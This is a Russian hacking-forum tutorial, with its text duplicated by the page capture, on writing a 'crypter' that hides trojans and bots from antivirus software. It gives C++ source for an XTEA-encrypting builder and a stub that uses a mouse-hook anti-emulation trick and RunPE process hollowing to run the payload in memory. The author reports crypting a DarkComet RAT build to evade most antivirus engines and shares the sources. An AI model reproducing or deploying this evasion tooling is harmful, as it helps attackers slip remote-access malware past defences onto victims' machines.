Всем привет !
В Малварь как искусство - Как написать криптор. Часть - 1. Разрабатываем алгоритм мы делали алгоритм для написания такого рода программ, теперь попробуем это реализовать практически и посмотрим результат ! :)
1)Итак ещё раз:
Криптор (aka cryptor) — это тулза, которая предназначена для скрытия троянов, ботов и прочей нечисти от детектирования антивирусами. Крипторы можно разделить на 2 вида: хорошие и дерьмовые (
Мы разумеется пока-что пишем дерьмовый
).
Хорошие крипторы работают очень просто, быстро и надёжно, хоть и не безглючно. Они дописывают свой код (в контексте таких крипторов этот код называется стабом) в криптуемую программу и шифруют код самой программы. При запуске первым стартует стаб, он восстанавливает оригинальный код и программа начинает работать. Если криптор свежий (или просто хороший, об этом ниже), то закриптованная программа не будет детектироваться антивирусами.
Чаще всего такие крипторы полиморфны — т.е. код криптора в криптуемой программе каждый раз уникален, заполнен случайными инструкциями и бессмысленными вызовами функций API. Такие крипторы достаточно долго остаются недетектируемыми в силу уникальности каждого закриптованного файла. Но, как говорится, на каждую хитрую жопу найдется хуй с винтом — такие крипторы тоже со временем детектируются, и если автор не чистит свой продукт, то криптор перестает быть уникальным и посылается нахуй.
Другим же типом крипторов являются стабовые крипторы. Вообще только дебил будет называть это криптором, но в силу ебанутости и многочисленности авторов таких творений, мы не будем отрываться от стаи.
Итак, быдлокрипторы. Суть их работы вот в чем — есть стаб. Стаб в этом случае — это отдельная программа, к которой цепляется криптуемый файл. При запуске файл извлекается, расшифровывается и запускается.
Т.е. надеюсь поняли отличия в первом случае шифруется код программы, и стаб расшифровывает уже команды программы, а во втором случае шифруется сам файл программы и расшифровывается тоже сам файл, ну и понятно, что второй тип криптора это не что иное как не нужное гавно, т.к. практически любой антивирусник спалит вирус при расшифровке ! ;)
Некоторые крипторы напрямую файл на диск не пишут, а запускают его из памяти, но это их не оправдывает, т.к. продвинутый антивирус словит это при запуске как нехуй делать.
В таких крипторах уникальность каждого закриптованного файла достигается разными стабами. Но такой подход весьма ограничен — в хороших криптах это всего-лишь код, и его можно сгенерировать, а со стабами в говно-крипторах уже сложнее, поэтому авторы чаще всего создают под каждого клиента отдельный стаб. Подход глуп до безобразия, ведь ежели спалится антивирусами один закриптованный файл — за ним полетят и все остальные.
2)Чуток скопировал Вазонеза, но к сожалению у нас быдлокриптер, хотя задачу и решает...



Итак что мы делаем, как сказано выше у нас будет две программы:
- Конструктор - Который поместит наш вирус в конец стаба, предварительно зашифровав его.
- Стаб - Расшифрует вирус в памяти и запустит его из памяти, предварительно создав скрытый процесс.
3)Делаем конструктор:
Тут очень просто, гуй в вижуалке создавать не сложно, нужно сделаать проект и Windows Forms Aplication:
Я сделал простой интерфейс:
Ну тут что-то расписывать не имеет смысла: Выбрали файл, считали его в буфер, закриптовали алгоритмом XTEA (
Далее поместили в конец стаба...:)
Основной код Form1.h во вложении ниже...
Немного приведу код:
Ну и обработчик кнопки "Загрузить и обработать":
С этим всё, можете глянуть код во вложении...:)
4)Делаем стаб:
Как сказанно выше наш стаб должен:
Считать себя, выделить шифрованный файл, расшифровать его, сделать антиэмуляцию для обхода антивирусов и запустить вирус в памяти.
С этим думаю понятно, теперь как сделать это практически и немного кода:
Для антиэмуляции, я поставил хук (ловушку на мышку), программа запустится если пользователь двинет мышкой, но что-то как оказалось это слабо помогает, а даже вредит, но переделовать лень...:)
Итак ставим хук так:
Далее после движения мышки запустится mouseProc, это наша основная функция (Можете переделать потом, как хотите):
Тут мы считываем сами себя, расшифровываем криптованный файл и запускаем его в памяти, процедура запуска в памяти:
Т.к. процедуру запуска содрал от сюда
Пришлось добавить немного мусора, перед некоторыми апи, тестил на ноде, поэтому на некоторых ав не работает, а мне лень с другими аверами разбираться...
Мусор простой, это задержка и выделение памяти в динамике...:)
Итог закриптовал билдер ДаркКомета, оригинал:
52 антивирусов детект...
После криптовки осталось 9-ть:
Нод и касперский пропускают на запуск, даже билд даркомент сервера, неприятное удивление...
Надо-бы конечно это профиксить Microsoft Backdoor:Win32/Fynloski.A
Это сработал эмулятор майкрософта, нужно что-то придумывать для обхода, но честно что-то лень его ставить и тестить...
Касперский и нод у меня стоят, причём тестил на реальных системах, что-то хреново себя проявили ! :)
Итак, выкладываю сорцы, кому нужно:
SourecC++.zip - Просто два файла, для стаба и креатора, без проекта VisualStudio
Исходник VisualStudio 2010:
Привязки к среде нет, можно компильнуть в любой...
У меня всё, удачи ! :)
В Малварь как искусство - Как написать криптор. Часть - 1. Разрабатываем алгоритм мы делали алгоритм для написания такого рода программ, теперь попробуем это реализовать практически и посмотрим результат ! :)
1)Итак ещё раз:
Криптор (aka cryptor) — это тулза, которая предназначена для скрытия троянов, ботов и прочей нечисти от детектирования антивирусами. Крипторы можно разделить на 2 вида: хорошие и дерьмовые (


Хорошие крипторы работают очень просто, быстро и надёжно, хоть и не безглючно. Они дописывают свой код (в контексте таких крипторов этот код называется стабом) в криптуемую программу и шифруют код самой программы. При запуске первым стартует стаб, он восстанавливает оригинальный код и программа начинает работать. Если криптор свежий (или просто хороший, об этом ниже), то закриптованная программа не будет детектироваться антивирусами.
Чаще всего такие крипторы полиморфны — т.е. код криптора в криптуемой программе каждый раз уникален, заполнен случайными инструкциями и бессмысленными вызовами функций API. Такие крипторы достаточно долго остаются недетектируемыми в силу уникальности каждого закриптованного файла. Но, как говорится, на каждую хитрую жопу найдется хуй с винтом — такие крипторы тоже со временем детектируются, и если автор не чистит свой продукт, то криптор перестает быть уникальным и посылается нахуй.
Другим же типом крипторов являются стабовые крипторы. Вообще только дебил будет называть это криптором, но в силу ебанутости и многочисленности авторов таких творений, мы не будем отрываться от стаи.
Итак, быдлокрипторы. Суть их работы вот в чем — есть стаб. Стаб в этом случае — это отдельная программа, к которой цепляется криптуемый файл. При запуске файл извлекается, расшифровывается и запускается.
Т.е. надеюсь поняли отличия в первом случае шифруется код программы, и стаб расшифровывает уже команды программы, а во втором случае шифруется сам файл программы и расшифровывается тоже сам файл, ну и понятно, что второй тип криптора это не что иное как не нужное гавно, т.к. практически любой антивирусник спалит вирус при расшифровке ! ;)
Некоторые крипторы напрямую файл на диск не пишут, а запускают его из памяти, но это их не оправдывает, т.к. продвинутый антивирус словит это при запуске как нехуй делать.
В таких крипторах уникальность каждого закриптованного файла достигается разными стабами. Но такой подход весьма ограничен — в хороших криптах это всего-лишь код, и его можно сгенерировать, а со стабами в говно-крипторах уже сложнее, поэтому авторы чаще всего создают под каждого клиента отдельный стаб. Подход глуп до безобразия, ведь ежели спалится антивирусами один закриптованный файл — за ним полетят и все остальные.
2)Чуток скопировал Вазонеза, но к сожалению у нас быдлокриптер, хотя задачу и решает...




Итак что мы делаем, как сказано выше у нас будет две программы:
- Конструктор - Который поместит наш вирус в конец стаба, предварительно зашифровав его.
- Стаб - Расшифрует вирус в памяти и запустит его из памяти, предварительно создав скрытый процесс.
3)Делаем конструктор:
Тут очень просто, гуй в вижуалке создавать не сложно, нужно сделаать проект и Windows Forms Aplication:
Я сделал простой интерфейс:
Ну тут что-то расписывать не имеет смысла: Выбрали файл, считали его в буфер, закриптовали алгоритмом XTEA (
Вы должны зарегистрироваться, чтобы увидеть внешние ссылки
), с вики и взял код криптования...
Далее поместили в конец стаба...:)
Основной код Form1.h во вложении ниже...
Немного приведу код:
Код:
//Необходимо для преобразования типов данных
/*
s - Строка из гуя Sistem String
os - Стандртная С++ строка string
*/
void MarshalString ( String ^ s, string& os ) {
using namespace Runtime::InteropServices;
const char* chars =
(const char*)(Marshal::StringToHGlobalAnsi(s)).ToPointer();
os = chars;
Marshal::FreeHGlobal(IntPtr((void*)chars));
}
//Шифровка XTEA:
/*
num_rounds - Число блоков, я сделал 32
v[2] - Байты, которые нужно расшифровать
kljuc[4] - Ключ, четыре байта (Простое наполнение в программе)
*/
void encipher(unsigned int num_rounds, uint32_t v[2], uint32_t const kljuc[4]){
unsigned int i;
uint32_t v0=v[0], v1=v[1], sum=0, delta=0x8E3778B8;
for (i=0; i < num_rounds; i++){
v0 += (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + kljuc[sum & 3]);
sum += delta;
v1 += (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + kljuc[(sum>>11) & 3]);
}
v[0]=v0; v[1]=v1;
}
//Функция получит строку байт:
/*
full_path - Полный путь до файла, который нужно считать в строку
FileString - Полученная строка байт
*/
void GetFileToString (string full_path, string &FileString)
{
std::ifstream is;
is.open(full_path.c_str(), std::ios::in | std::ios::binary);//ios::binary - бинарное открытие,ios::in - операции ввода
if (!is)
{
//std::cout << "File Not Found";
//MessageBox::Show("File Not Found !!!");
return ;
}
char buf[512];
std::string content;
while (is.read(buf, sizeof(buf)).gcount() > 0)//если количество символов, прочтенных при последней операции неформатированного ввода >0
{
content.append(buf, is.gcount());// то добавляем в строку это кол-во символов.
// std::cout << '*';
}
FileString = content;
is.close();
return;
}
Ну и обработчик кнопки "Загрузить и обработать":
Код:
private: System::Void button3_Click(System::Object^ sender, System::EventArgs^ e) {
if(openFileDialog1->ShowDialog() == System::Windows::Forms::DialogResult::OK)
{
string StrFile_Name, Str_Crypt_Name;
string FileString, StubString, Full_File;
MarshalString ( openFileDialog1->FileName, StrFile_Name ); //Перевод строки с путём в string
textBox1->Text = openFileDialog1->FileName;
//*****************************************
GetFileToString (StrFile_Name, FileString); //Получение файла которого нужно криптонуть в строку
//Тут нужно критонуть...*********************
encipher(32,(uint32_t*)FileString.c_str(),kljuc); //Зашифровать XTEA
//******************************************
// decipher(32,(uint32_t*)FileString.c_str(),kljuc); //Рашифровать XTEA
//******************************************
GetFileToString ("stub.exe", StubString); //Получение нашего стаба в строку
//******************************************
int SizeStub = StubString.length();
StubString.insert(StubString.length(),FileString);
//Файл, который нужно зашифровать:
int SizeStr = StubString.length ();
BYTE *Result1 = new BYTE [SizeStr];
std::ofstream fout("CryptFile.exe", std::ofstream::binary);// создаём объект класса ofstream для записи и связываем его с файлом
for (int i=0; i<=SizeStr -1; i++)
{
Result1[i] = StubString[i];
fout << Result1[i];
}
MessageBox::Show(" Всё прошло успешно, рекомендуется подождать 1-2, после создания CryptFile.exe, файл будет создан в директории с билдером !!!");
fout.close(); // закрываем файл
}
}
private: System::Void openFileDialog1_FileOk(System::Object^ sender, System::ComponentModel::CancelEventArgs^ e) { }
};
С этим всё, можете глянуть код во вложении...:)
4)Делаем стаб:
Как сказанно выше наш стаб должен:
Считать себя, выделить шифрованный файл, расшифровать его, сделать антиэмуляцию для обхода антивирусов и запустить вирус в памяти.
С этим думаю понятно, теперь как сделать это практически и немного кода:
Для антиэмуляции, я поставил хук (ловушку на мышку), программа запустится если пользователь двинет мышкой, но что-то как оказалось это слабо помогает, а даже вредит, но переделовать лень...:)
Итак ставим хук так:
Код:
// Устанавливаем хук
mouseHook = SetWindowsHookEx(WH_MOUSE_LL, mouseProc, hInstance, 0);
Далее после движения мышки запустится mouseProc, это наша основная функция (Можете переделать потом, как хотите):
Код:
LRESULT CALLBACK mouseProc(int nCode,
WPARAM wParam, LPARAM lParam)
{
if (FlagExit == 1)
{
//printf ("%d \n",__LINE__);
kljuc[0] = 0xACB5; //Установка первого значения ключа расшифровки.
//Получение пути запущенной программы:
wchar_t sfp[1024];
GetModuleFileNameA(0, LPSTR(sfp), 1024);
//Приведение типов:
char* Putch_Char = (char*) sfp;
string FileString; //Строка в котором будет наш стаб
GetFileToString (Putch_Char, FileString); //Считаем сами себя.
string first = FileString.substr(0, SizeStub); // Получим стаб (СТАБ)
kljuc[2] = 0xEC90; //Третье значение ключа
int SizeFullStub = FileString.length();
int SizeNotFileStub = first.length();
int SizeCryptFile = SizeFullStub - SizeNotFileStub; //Размер криптованного файла
string CryptFile = FileString.substr(SizeNotFileStub,SizeCryptFile); // Получили криптованный файл.
kljuc[3] = 0x285C; //Четвёртое значение ключа
int SizeStr = CryptFile.length ();
BYTE *Result1 = new BYTE [SizeStr];
for (int i=0; i<=SizeStr -1; i++)
{
Result1[i] = CryptFile[i];
//fout << Result1[i];
}
decipher(32,(uint32_t*)Result1,kljuc); //Рашифровать XTEA
run((LPSTR)Putch_Char, Result1); //Запуск в памяти...
}
FlagExit = 0; //Всё далее зависним и ничего делать не будем...:)
//UnhookWindowsHookEx(mouseHook);
return CallNextHookEx(NULL, nCode, wParam, lParam);
}
Тут мы считываем сами себя, расшифровываем криптованный файл и запускаем его в памяти, процедура запуска в памяти:
Код:
//Фунция запуска в память, принимает:
/*
szFilePath - Полный путь до нашего файла
pFile - Байты PE-файла (x32 и натив).
*/
void run(LPSTR szFilePath, PVOID pFile)
{
PIMAGE_DOS_HEADER IDH;
PIMAGE_NT_HEADERS INH;
PIMAGE_SECTION_HEADER ISH;
PROCESS_INFORMATION PI;
STARTUPINFOA SI;
PCONTEXT CTX;
PDWORD dwImageBase;
NtUnmapViewOfSection xNtUnmapViewOfSection;
LPVOID pImageBase;
int Count;
IDH = PIMAGE_DOS_HEADER(pFile);
if (IDH->e_magic == IMAGE_DOS_SIGNATURE)
{
INH = PIMAGE_NT_HEADERS(DWORD(pFile) + IDH->e_lfanew);
if (INH->Signature == IMAGE_NT_SIGNATURE)
{
RtlZeroMemory(&SI, sizeof(SI));
RtlZeroMemory(&PI, sizeof(PI));
//Просто мусор*******************
Sleep(1000);
//Конец мусора
if (CreateProcessA(szFilePath, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &SI, &PI))
{
CTX = PCONTEXT(VirtualAlloc(NULL, sizeof(CTX), MEM_COMMIT, PAGE_READWRITE));
CTX->ContextFlags = CONTEXT_FULL;
if (GetThreadContext(PI.hThread, LPCONTEXT(CTX)))
{
//Просто мусор***************
Sleep(1000);
//Конец мусора***************
ReadProcessMemory(PI.hProcess, LPCVOID(CTX->Ebx + 8), LPVOID(&dwImageBase), 4, NULL);
if (DWORD(dwImageBase) == INH->OptionalHeader.ImageBase)
{
xNtUnmapViewOfSection = NtUnmapViewOfSection(GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtUnmapViewOfSection"));
xNtUnmapViewOfSection(PI.hProcess, PVOID(dwImageBase));
}
pImageBase = VirtualAllocEx(PI.hProcess, LPVOID(INH->OptionalHeader.ImageBase), INH->OptionalHeader.SizeOfImage, 0x3000, PAGE_EXECUTE_READWRITE);
if (pImageBase)
{
WriteProcessMemory(PI.hProcess, pImageBase, pFile, INH->OptionalHeader.SizeOfHeaders, NULL);
for (Count = 0; Count < INH->FileHeader.NumberOfSections; Count++)
{
ISH = PIMAGE_SECTION_HEADER(DWORD(pFile) + IDH->e_lfanew + 248 + (Count * 40));
WriteProcessMemory(PI.hProcess, LPVOID(DWORD(pImageBase) + ISH->VirtualAddress), LPVOID(DWORD(pFile) + ISH->PointerToRawData), ISH->SizeOfRawData, NULL);
}
WriteProcessMemory(PI.hProcess, LPVOID(CTX->Ebx + 8), LPVOID(&INH->OptionalHeader.ImageBase), 4, NULL);
CTX->Eax = DWORD(pImageBase) + INH->OptionalHeader.AddressOfEntryPoint;
SetThreadContext(PI.hThread, LPCONTEXT(CTX));
ResumeThread(PI.hThread);
}
}
}
}
}
VirtualFree(pFile, 0, MEM_RELEASE);
}
Т.к. процедуру запуска содрал от сюда
Вы должны зарегистрироваться, чтобы увидеть внешние ссылки
Его код детектят все, в т.ч. и майкрософт...:(Пришлось добавить немного мусора, перед некоторыми апи, тестил на ноде, поэтому на некоторых ав не работает, а мне лень с другими аверами разбираться...

Мусор простой, это задержка и выделение памяти в динамике...:)
Итог закриптовал билдер ДаркКомета, оригинал:
Вы должны зарегистрироваться, чтобы увидеть внешние ссылки
52 антивирусов детект...

После криптовки осталось 9-ть:
Вы должны зарегистрироваться, чтобы увидеть внешние ссылки
Нод и касперский пропускают на запуск, даже билд даркомент сервера, неприятное удивление...
Надо-бы конечно это профиксить Microsoft Backdoor:Win32/Fynloski.A

Это сработал эмулятор майкрософта, нужно что-то придумывать для обхода, но честно что-то лень его ставить и тестить...
Касперский и нод у меня стоят, причём тестил на реальных системах, что-то хреново себя проявили ! :)
Итак, выкладываю сорцы, кому нужно:
SourecC++.zip - Просто два файла, для стаба и креатора, без проекта VisualStudio
Исходник VisualStudio 2010:
Вы должны зарегистрироваться, чтобы увидеть внешние ссылки
Привязки к среде нет, можно компильнуть в любой...

У меня всё, удачи ! :)
Вложения
Последнее редактирование: